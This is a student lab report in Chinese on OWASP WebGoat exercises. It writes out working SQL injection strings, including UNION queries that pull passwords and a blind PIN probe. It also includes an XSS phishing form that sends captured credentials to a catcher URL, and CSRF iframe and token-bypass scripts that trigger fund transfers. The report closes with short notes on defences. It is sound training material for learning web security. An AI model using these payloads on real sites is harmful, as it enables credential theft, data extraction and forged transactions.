Exp9 Web安全基础 20154315 李惠航
一. 实验内容
理解常用网络攻击技术的基本原理。Webgoat实践下相关实验。
二.实验步骤
1.WebGoat
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入等,我们这次实验的内容就都是在Webgoat上进行的。
在网上down一个Webgoat,拖到Linux里,使用指令 java -jar 文件名 启动(在此之前最好更新下JDK环境,Kali自带的好像不行,由于我下的8.0版本的Webgoat就需要JDK1.8环境 )。
Webgoat使用的是8080号端口,安装好后就可以在浏览器里输入 localhost:8080/WebGoat 访问,当然在此之前最好检查一下8080号端口是否被占用。
在登录界面可以先自己注册个帐号登录
进去之后就可以看到左边一排可以点开的都是能做的相关Web攻击练习。
由于后面的大部分实验都需要修改网页原代码,然而8.0版本我一按F12就卡半天,但是7.1版本的可以不用注册,使用首页下面两个默认帐号就能登录。
使用指令开启到这就能打开网页了
2.Injection Flaws
(1)String SQL Injection——8.0版本
通过输入用户姓名可以获取数据库中对应的数据信息。
输入永真式 ' or 1=1 --,就能获得所有用户数据。
(2)Numeric SQL Injection——8.0版本
与上面相似,通过输入用户ID获取对应的用户数据。
在ID后面加个永真式 or 1=1,即可获得数据库内的全部信息
(3)Pulling data from other tables——8.0版本
随意输入一个用户查询其相关信息,还是老样子,我找Smith,可以发现这个表里有7个参数。
输入 Smith' union select null,null,null,null,null,null,null from user_system_data -- 联合查询判断数据回显列位置。
输入 Smith' union select null,user_name,password,null,null,null,null from user_system_data -- 就能获取所有用户的密码。
验证成功!
(4)LAB: SQL Injection——7.1版本
阶段1:String SQL Injection
使用SQL绕过认证,在密码处输入永真式发现长度被固定了,F12查看网页源代码,搜索password在第五个结果处对应此处的password发现限制长度为8,修改为大一点的值,再次输入永真式。
登录成功
这里我选择的是Larry所以登录后只能查看到她的个人信息,如果一开始选择BOSS的帐号登录的话就能看到所有人的信息了。
阶段2:Numeric SQL Injection
同上,注入SQL绕过认证,使普通用户浏览的无法浏览的信息,先登录Larry用户,可以用上个步骤的方法。
在图中value处101后面添加永真式,同时为了显示老板的工资,并且老板的工资应该是最高的可以进行排序,因此添加语句 101 or 1=1 order by salary desc 。
查询老板工资成功
(5)Blind Numeric SQL Injection
有些时候存在SQL注入,但是获取不到我们需要的信息,此时可以通过SQL的查询语句不断尝试注入最终获得我们想要的信息。
输入语句 101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 ) 查询,提示账户无效,开始修改范围,不断缩小。
大于2000时提示有效,也说明确实存在这个101账户
最后试出来为2364.。
3.Cross-Site Scripting (XSS)
(1)Phishing with XSS——7.1版本
题目要求是关于一个页面中存在XSS漏洞时,他如何支持钓鱼攻击。要求我们利用xss和html注入达到这些目标。
使用XSS和HTML插入制作一个钓鱼网站,代码如下:
form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } script> <form name="phish"> <br><br> <HR> <H2>This feature requires account login:H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> form> <br> <br> <HR>
成功获取帐号密码。
(2)Stored XSS Attacks——8.0版本
这是一种很典型的储存型XSS的例子,也很简单,在留言框里输入任意JS代码,提交后这段代码会被存储到Web后台服务器,当有用户浏览该帖(或者说打开留言存在的当前页面),这段代码就会被解析并执行,比如输入 效果如下。
(3)Reflected XSS Attacks
当未验证的用户输入用在HTTP响应时会发生XSS。在一个反射XSS攻击中,攻击者可以使用攻击脚本制造一个URL,然后提交到另一个网站、发邮件或让受害者点击。
4.CSRF
(1) Cross Site Request Forgery(CSRF)
实验目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。
这里是一个储存型XSS和跨站请求伪造结合的示例,CSRF就是冒名登录,用代码伪造请求
在Title输入:20154315,在Message输入:
<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />
点击“Submit”,在Message List下出现一条提交的记录,如下图所示:
(2) CSRF Prompt By-Pass
在Title输入:20154315;在Message输入:
<iframe
src="attack?Screen=280&menu=900&transferFunds=5000”
id="myFrame" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"
onload="document.getElementById('frame2').src='attack?Screen=280&menu=900&transferFunds=CONFIRM';">
iframe>
<iframe
id="frame2" frameborder="1" marginwidth=“0”
marginheight="0" width="800" scrolling=yes height="300">
iframe>
如下图所示:
(3)CSRF Token By-Pass
- 在Title输入:20154315
- 在Message输入构造的代码:
- <script> var tokensuffix; function readFrame1() { var frameDoc = document.getElementById("frame1").contentDocument; var form = frameDoc.getElementsByTagName("form")[0]; tokensuffix = '&CSRFToken=' + form.CSRFToken.value; loadFrame2(); } function loadFrame2() { var testFrame = document.getElementById("frame2"); testFrame.src="attack?Screen=273&menu=900&transferFunds=5000" + tokensuffix; } script> <iframe src="attack?Screen=273&menu=900&transferFunds=main" onload="readFrame1();" id="frame1" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300">iframe> <iframe id="frame2" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300">iframe>
- 点击Submit,然后在Message List里点击“CSRF Token By-Pass Attack”
三.实验后问题回答
1.SQL注入攻击原理,如何防御?
原理:利用未过滤/未审核用户输入的攻击方法,即让应用运行本不应该运行的SQL代码。如果应用毫无防备地创建了SQL字符串并且运行了它们,就会造成一些出人意料的结果。
防御:
(1)对输入的数据进行过滤,过滤掉敏感字符。加密数据库。
(2)限制输入的长度、检查输入变量的数据类型,限制特殊字符的输入。
2.XSS攻击的原理,如何防御?
原理:攻击者利用网站漏洞,输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。
防御:
(1)在服务器段限制输入格式,输入类型,输入长度以及输入字符
(2)对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
3.CSRF攻击原理,如何防御?
原理:跨站请求伪造,攻击者通过伪造身份等方式来达到一些非法目的,以你的名义来发送恶意请求。
防御:使用验证码,表单中附加随机值,以此来防止冒充,用户在浏览其它站点前登出站点;在浏览器会话结束后清理浏览器的cookie;尽量不要在页面的链接中暴露用户隐私信息;避免全站通用的cookie,严格设置cookie的域。